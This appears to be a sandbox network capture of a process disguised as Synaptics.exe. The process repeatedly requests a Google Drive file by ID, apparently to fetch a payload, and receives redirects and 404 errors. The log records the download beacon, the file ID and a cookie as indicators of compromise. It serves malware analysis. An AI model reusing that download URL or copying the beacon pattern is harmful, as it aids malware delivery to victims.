Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49857	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:17 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:18 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:18 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-78AvBZcq6uw7il3AmSSLkA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49859	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:17 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:18 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5vsTAmjyTuMs8-w1FGlLVYomydUx7LZG2uCRMTtX4YI_yJJ715fkPqV72CMJwVLNJUmSjzSqc Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:18 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-ewGTSbb5OHp6_cpMTNCVvg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:18 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 10:36:18 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 62 57 52 51 45 48 6f 49 68 4a 58 53 61 6a 72 34 78 30 6c 48 58 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="bWRQEHoIhJXSajr4x0lHXg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 10:36:18 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49858	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:17 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:18 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:18 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-W5af9kqUGvhCfvJmXTWCXA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49860	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:18 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:18 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7ju2qZ91y_vsQMq7rYjIkYp-U3Pz90BY8UMxZqIieOnq1LpH1epMqvhbjjm2qx5w2h Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:18 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-biEwedeytnvkzTr3VSxELw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:18 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 10:36:18 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 51 67 4d 50 30 59 67 73 58 4f 4e 5f 51 71 59 32 56 2d 75 57 31 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="QgMP0YgsXON_QqY2V-uW1g">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 10:36:18 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49861	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:18 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49862	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:18 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49863	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:19 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49864	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:19 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49867	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:19 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:20 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:20 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-8H5BC66CnpY3WV-VWdSPcw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49866	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:19 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:20 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:20 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-EHPzdVXFjmnftE0NrqjhXg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49870	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:20 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:21 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7-f8mbrvkx35DRwltJ1vvArxwl05VqKond6OU1t0FsWjxyGH-m-CMJ3JHSi6EUlhFm Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:21 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-WE-vKCV-0CwNkNIUNGQUOg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:21 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 10:36:21 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 7a 43 4c 79 51 71 48 6b 50 38 49 66 6b 45 48 4f 76 30 73 48 4f 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="zCLyQqHkP8IfkEHOv0sHOg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 10:36:21 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49871	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:20 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
